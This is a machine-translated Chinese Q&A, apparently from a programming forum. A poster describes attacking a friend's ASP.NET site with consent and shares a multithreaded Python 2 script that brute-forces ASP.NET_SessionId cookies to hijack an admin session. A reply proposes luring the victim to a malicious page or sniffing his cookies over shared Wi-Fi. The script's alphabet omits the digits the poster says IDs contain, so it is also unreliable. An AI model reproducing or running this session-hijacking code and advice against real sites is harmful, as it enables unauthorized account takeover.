我是新手在這裏。 我正在爲我的大學項目學習pentesting,並希望在相同的未來發展。 我有一個由我的朋友託管的網站(在雙方同意的情況下),他向我發起了攻擊。 它是一個簡單的網站在asp.net可能2.0 它使用表單登錄到網站。 在我的理解中,他正在生成ASP.NET_SessionId來存儲身份驗證。我試圖從網站註銷,但該cookie沒有過期。現在我想嘗試使用相同的方法登錄到管理員帳戶。作爲管理員,我不知道他從哪裏登錄。 我寫了這個蠻力python腳本來做同樣的事情,有50個線程。就好像我產生超過50個,然後會話開始超時。asp.net hack sessionId被暴力強制使用python腳本的可能性
#!/usr/bin/python
import urllib2
import string
import itertools
import threading
threadLimiter = threading.BoundedSemaphore(50)
class checkPage(threading.Thread):
def __init__(self,sessionID):
threading.Thread.__init__(self)
self.sessionID=sessionID
def run(self):
threadLimiter.acquire()
try:
opener = urllib2.build_opener()
opener.addheaders.append(('Cookie', 'ASP.NET_SessionId='+self.sessionID))
f = opener.open("http://mysite.webber.org/default.aspx")
page = f.read()
f.close()
#if logged in write to file
if 'Welcome' in page:
k = open("session.txt","a")
k.write(self.sessionID+'\n')
k.close()
finally:
threadLimiter.release()
count = 0
for state in itertools.product('abcdefghijklmnopqrstuvwxyz', repeat=24):
sessionID = ''.join(state)
try:
thread=checkPage(sessionID)
thread.start()
except:
print "thread cannot be started"
break
if count==50:
thread.join()
count = 0
count += 1
根據ASP.net,會話ID由CreateSessionId函數生成,並給出了帶有a-z和0-5的24個字節的輸出。
我打算竊取管理會話ID,然後再次使用它登錄到頁面並獲得管理員訪問權限。
這是一個正確的方法?
我認爲這種蠻力可能會持續下去。什麼是我最好的選擇,以減少暴力時間
謝謝。
如果你的朋友正在生成可能包含「6」或會話集之外的任何其他字符的會話ID,它將確實帶你到永遠。你可以做的是編寫一個惡意網頁,並在其上放置一些有趣的內容,將鏈接複製到你的朋友說「檢查有趣的事情」。當你的朋友開始瀏覽它時,你會用ajax請求發送他的網站(cookie由瀏覽器插入)。現在,考慮到你們兩個都在使用WIFI的同一個房間裏,而你的朋友不使用SSL,你可以嗅到他的cookies。 –